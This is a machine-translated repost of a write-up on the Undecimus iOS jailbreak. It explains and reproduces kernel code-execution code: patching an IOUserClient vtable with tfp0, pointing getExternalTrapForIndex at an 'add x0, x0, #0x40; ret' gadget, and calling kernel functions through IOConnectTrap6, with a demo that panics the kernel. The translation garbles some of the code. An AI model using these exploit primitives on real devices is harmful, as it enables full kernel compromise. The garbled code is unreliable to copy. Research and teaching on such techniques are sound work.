In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article mainly introduces "how IOTrap implements the process of kernel execution". In daily operation, I believe many people have doubts about how to implement kernel execution by IOTrap. The editor consulted all kinds of materials and sorted out simple and easy-to-use operation methods. I hope it will be helpful to answer the doubts about "how IOTrap implements the process of kernel execution". Next, please follow the editor to study!
Overview of kexec
In Undecimus, the execution of arbitrary code in the kernel is achieved through ROP Gadget. The specific method is to hijack a system's function pointer, point it to the function you want to call, then prepare parameters according to the prototype of the hijacked function pointer, and finally try to trigger the system's call to the hijacked pointer.
Find function pointer that can be hijacked
To achieve the above ROP, one key is to find a function pointer call that can be triggered in Userland and easy to hijack, and another key is that the prototype of the function pointer had better support a variable number of parameters, otherwise it will bring trouble to parameter preparation. Fortunately, in IOKit, the system provides an IOTrap mechanism that meets all the above conditions.
IOKit provides an IOConnectTrapX function for userland to trigger the IOTrap registered with IOUserClient, where X represents the number of parameters and a maximum of 6 input parameters are supported:
Kern_return_tIOConnectTrap6 (io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6) {return iokit_user_client_trap (connect, index, p1, p2, p3, p4, p5, p6);}
The call to userland corresponds to the iokit_user_client_trap function in the kernel. The implementation is as follows:
Kern_return_t iokit_user_client_trap (struct iokit_user_client_trap_args * args) {kern_return_t result = kIOReturnBadArgument; IOUserClient * userClient; if ((userClient = OSDynamicCast (IOUserClient, iokit_lookup_connect_ref_current_task ((mach_port_name_t) (uintptr_t) args- > userClientRef) {IOExternalTrap * trap; IOService * target = NULL / / find a trap trap = userClient- > getTargetAndTrapForIndex (& target, args- > index); if (trap & & target) {IOTrap func; func = trap- > func; if (func) {result = (target- > * func) (args- > p1, args- > p2, args- > p3, args- > p4, args- > P5, args- > p6) }} iokit_remove_connect_reference (userClient);} return result;}
The above code first converts the IOUserClient handle passed in from userland into a kernel object, and then fetches the function pointer corresponding to the IOTrap execution from the userClient. Therefore, as long as you hijack the getTargetAndTrapForIndex and return the deliberately constructed IOTrap, you can tamper with the kernel execution target- > * func;. Even more perfectly, the input parameter of the function happens to be the input parameter of the userland calling IOConnectTrapX.
Let's take a look at the implementation of getTargetAndTrapForIndex:
IOExternalTrap * IOUserClient::getTargetAndTrapForIndex (IOService * * targetP, UInt32 index) {IOExternalTrap * trap = getExternalTrapForIndex (index); if (trap) {* targetP = trap- > object;} return trap;}
It can be seen that IOTrap is returned from the getExternalTrapForIndex method. Follow up and find that this is a function whose default implementation is empty:
IOExternalTrap * IOUserClient::getExternalTrapForIndex (UInt32 index) {return NULL;}
It can be seen that this function is not implemented by default on the parent class, and most likely it is a virtual function. Let's take a look at the declaration of IOUserClient's class to verify it:
Class IOUserClient: public IOService {/ /... / / Methods for accessing trap vector-old and new style virtual IOExternalTrap * getExternalTrapForIndex (UInt32 index) APPLE_KEXT_DEPRECATED; / /...}
Since it is a virtual function, we can modify the virtual function table of the userClient object with tfp0, tamper with the virtual function pointer of getExternalTrapForIndex to our ROP Gadget, and construct the IOTrap return here.
Implement function hijacking
In the source code of Undecimus, the virtual function pointer of getExternalTrapForIndex is pointed to an instruction area that already exists in the kernel:
Add x0, x0, # 0x40ret
There is no manual construction instruction, considering that it is expensive to construct an executable page, while it is very easy to reuse an existing instruction area. Let's analyze the role of these two instructions.
Because getExternalTrapForIndex is an instance method and its x0 is the implicit parameter this, the return value of the hijacked getExternalTrapForIndex is this + 0x40, that is, we want to store a deliberately constructed IOTrap structure at userClient + 0x40:
Struct IOExternalTrap {IOService * object; IOTrap func;}
Recall the execution of IOTrap:
Trap = userClient- > getTargetAndTrapForIndex (& target, args- > index); if (trap & & target) {IOTrap func; func = trap- > func; if (func) {result = (target- > * func) (args- > p1, args- > p2, args- > p3, args- > p4, args- > p5, args- > p6);}}
The target here is the object object of IOTrap, which serves as the implicit input parameter this; of the function call, and func is the function pointer being called. It all became clear here:
Write the symbolic address to be executed into trap- > func to execute any function.
The variable input parameter can be passed by placing the 0th parameter of the function to trap- > object, and the 1st to 6th arguments are passed when IOConnectTrap6 is called.
Kexec code implementation
The above discussion is relatively macro, ignoring some important details, the following will be combined with the Undecimus source code for detailed analysis.
Challenges brought by PAC
Since iPhone XS, Apple has extended a technology called PAC (Pointer Authentication Code) in its ARM processor, which signs pointers and return addresses with specific key registers and verifies them when in use. Once the signature verification fails, an invalid address will be solved and Crash will be raised, which adds an extension instruction to a variety of common addressing instructions [1]:
BLR-> BLRA*LDRA-> LDRA*RET-> RETA*
This technology has brought a lot of annoyance to our ROP. We have done a series of special treatments for PAC in Undecimus, and the whole process is very complicated. This article will no longer be carried out. In the following article, we will introduce the mitigation measures and bypass methods of PAC in detail. Interested readers can read Examining Pointer Authentication on the iPhone XS to learn more.
Virtual function hijacking
We know that the pointer of the virtual function table of the C++ object is located at the starting address of the object, and the function pointer of the instance method [2] is stored in the virtual function table according to the offset, so we only need to determine the offset of the getExternalTrapForIndex method, and then use tfp0 to tamper with the address pointed to by the virtual function to achieve ROP.
The relevant source code of Undecimus is located in init_kexec. Let's first ignore arm64e's handling of PAC and understand its vtable patch method. The following code contains nine key steps and key comments have been given:
Bool init_kexec () {# if _ arm64e__ if (! parameters_init ()) return false; kernel_task_port = tfp0; if (! MACH_PORT_VALID (kernel_task_port)) return false; current_task = ReadKernel64 (task_self_addr () + koffset (KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); if (! KERN_POINTER_VALID (current_task)) return false; kernel_task = ReadKernel64 (getoffset (kernel_task)) If (! KERN_POINTER_VALID (kernel_task)) return false; if (! kernel_call_init ()) return false;#else / 1. Create an IOUserClient user_client = prepare_user_client (); if (! MACH_PORT_VALID (user_client)) return false; / / From v0rtex-get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable / / 2. Get the kernel address of IOUserClient, which is an ipc_port IOSurfaceRootUserClient_port = get_address_of_port (proc_struct_addr (), user_client); / / UserClients are just mach_ports, so we find its address if (! KERN_POINTER_VALID (IOSurfaceRootUserClient_port)) return false; / / 3. Get the IOUserClient object IOSurfaceRootUserClient_addr = ReadKernel64 (IOSurfaceRootUserClient_port + koffset (KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) from ipc_port- > kobject; / / The UserClient itself (the C++ object) is at the kobject field if (! KERN_POINTER_VALID (IOSurfaceRootUserClient_addr)) return false; / / 4. The virtual function pointer is located at the starting address of the C++ object kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64 (IOSurfaceRootUserClient_addr); / / vtables in C++ are at * object if (! KERN_POINTER_VALID (IOSurfaceRootUserClient_vtab)) return false / / The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one / / Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel / / Create the vtable in the kernel memory, then copy the existing vtable into there / / 5. Construct and copy the virtual function table fake_vtable = kmem_alloc (fake_kalloc_size); if (! KERN_POINTER_VALID (fake_vtable)) return false; for (int I = 0; I
< 0x200; i++) { WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8)); } // Create the fake user client // 6. 构造一个 IOUserClient 对象,并拷贝内核中 IOUserClient 的内容到构造的对象 fake_client = kmem_alloc(fake_kalloc_size); if (!KERN_POINTER_VALID(fake_client)) return false; for (int i = 0; i < 0x200; i++) { WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8)); } // Write our fake vtable into the fake user client // 7. 将构造的虚函数表写入构造的 IOUserClient 对象 WriteKernel64(fake_client, fake_vtable); // Replace the user client with ours // 8. 将构造的 IOUserClient 对象写回 IOUserClient 对应的 ipc_port WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client); // Now the userclient port we have will look into our fake user client rather than the old one // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) // 9. 将特定指令区域的地址写入到虚函数表的第 183 个 Entity // 它对应的是 getExternalTrapForIndex 的地址 WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));#endif pthread_mutex_init(&kexec_lock, NULL); return true;} 此时我们已经修改了构造的 userClient 的 getExternalTrapForIndex 逻辑,接下来只需要对 userClient 调用 IOConnectTrap6 即可实现 ROP 攻击,剩下的一个关键步骤是准备 IOTrap 作为 ROP Gadget 的返回值。 构造 IOTrap 由于 getExternalTrapForIndex 被指向了如下指令: add x0, x0, #0x40ret 我们需要在 userClient + 0x40 处构造一个 IOTrap: struct IOExternalTrap { IOService * object; IOTrap func;}; 根据前面的讨论,object 应当被赋予被调用函数的第 0 个参数地址,func 应当赋予被调用函数的地址,然后再将函数的第 1 ~ 6 个参数通过 IOConnectTrap 的 args 传入。下面我们来看 Undecimus 中 kexec 的具体实现,笔者在其中补充了一些注释: kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6){ kptr_t returnval = 0; pthread_mutex_lock(&kexec_lock);#if __arm64e__ returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);#else // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->Kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex / / to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. / / This jumps to our gadget, which returns + 0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the / / function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed / / through like normal. / / Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it / / We will pull a switch when doing so-retrieve the current contents, call the trap, put back the contents / / (i'm not actually sure if the switch back is necessary but meh) / / IOTrap starts at + 0x40 / / fake_client, that is, the userClient / / 0ffx20 we constructed is IOTrap- > object,offx28 is IOTrap- > func Here is the backup of the original value kptr_t offx20 = ReadKernel64 (fake_client + 0x40) Kptr_t offx28 = ReadKernel64 (fake_client + 0x48); / / IOTrap- > object = arg0 WriteKernel64 (fake_client + 0x40, x0); / / IOTrap- > func = func_ptr WriteKernel64 (fake_client + 0x48, ptr); / / x1~x6 is the 1st-6th argument of the function, and the 0th argument is passed returnval = IOConnectTrap6 (user_client, 0, x1, x2, x3, x4, x5, x6) through trap- > object / / restore the original values here: WriteKernel64 (fake_client + 0x40, offx20); WriteKernel64 (fake_client + 0x48, offx28); # endif pthread_mutex_unlock (& kexec_lock); return returnval;}
Based on the above discussion, this code is easy to understand. Here, the principle of arbitrary code execution in the kernel under non-arm64e architecture is explained. The discussion on arm64e will continue in the next article. Let's do an experiment with kexec to verify the achievement of Primitive.
Preparation of kexec experimental environment
Please open the jailbreak.m of the Undecimus source code, search for _ assert (init_kexec ()) to locate the code that initializes kexec, and flip up to find that the initialization of kexec has been placed after ShenanigansPatch and setuid (0). ShenanigansPatch is a bypass measure taken to solve the ucred check of the kernel sandbox process [3]. It is realized by locating and modifying kernel global variables by String XREF. Interested readers can read Shenanigans, Shenanigans! To understand.
For non-arm64e devices, it seems that kexec can be achieved only through tfp0, and this processing should be a necessary empowerment process for arm64e devices to bypass PAC.
Our experimental code must be placed after the successful execution of init_kexec.
Get the address of a kernel function
The addresses of many key functions are obtained in Undecimus, which implement dynamic lookup and caching by declaring an export symbol named find_xxx. It is important to note that kerneldump has been released after kexec initialization, so the address of the function must be calculated when initializing kerneldump.
Let's first refer to how Undecimus finds and caches a kernel data. Take the vnodelookup function as an example: first, we need to declare a function named `find` in patchfinder64.h, which returns the address of the symbol to be looked up:
Uint64_t find_vnode_lookup (void)
Then complete the implementation of the search based on String XREF:
Addr_t find_vnode_lookup (void) {addr_t hfs_str = find_strref ("hfs: journal open cb: error% d looking up device% s (dev uuid% s)\ n", 1, string_base_pstring, false, false); if (! hfs_str) return 0; hfs_str-= kerndumpbase; addr_t call_to_stub = step64_back (kernel, hfs_str, 1034, INSN_CALL); if (! call_to_stub) return 0 Return follow_stub (kernel, call_to_stub);}
Then in the kerneldump phase, the macro function find_offset is used to complete the search:
Find_offset (vnode_lookup, NULL, true)
The above macro function dynamically calls the find_ function and caches the result, and then you can obtain the corresponding offset through the getoffset macro function:
Kptr_t const function = getoffset (vnode_lookup)
Here we create a panic function offset as the cat draws the tiger:
Uint64_t find_panic (void) {addr_t ref = find_strref ("\" shenanigans! ", 1, string_base_pstring, false, false); if (! ref) {return 0;} return ref + 0x4;}
The code you look for here is the panic statement located in sandbox.kext:
Panic ("\" shenanigans!\ "")
Through String XREF, we can locate the add instruction before the panic call, and the next instruction must be bl _ panic, so we can get the address of the panic function in the kernel by + 4.
Call kernel function
We found the address of the panic function above. Here we try to trigger a kernel panic with a custom string. Note that due to the existence of SMAP, panic string needs to be copied from userland to kernel:
/ / play with kexecuint64_t function = getoffset (panic); const char * testStr = "this panic is caused by userland!"; kptr_t kstr = kmem_alloc (strlen (testStr)); kwrite (kstr, testStr, strlen (testStr)); kptr_t ret = kexec (function, (kptr_t) kstr, KPTR_NULL, KPTR_NULL); NSLog (@ "result is% @", @ (ret)) Kmem_free (kstr, sizeof (testStr))
Then run Undecimus, and kernel panic will occur. To verify that we have successfully called the kernel panic function, open the settings page on iPhone, open Privacy- > Analytics- > Analytics Data, and find the latest log that starts with panic-full. If the experiment is successful, you can see the following:
At this point, the study on "how to implement the kernel execution process of IOTrap" is over. I hope to be able to solve your doubts. The collocation of theory and practice can better help you learn, go and try it! If you want to continue to learn more related knowledge, please continue to follow the website, the editor will continue to work hard to bring you more practical articles!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.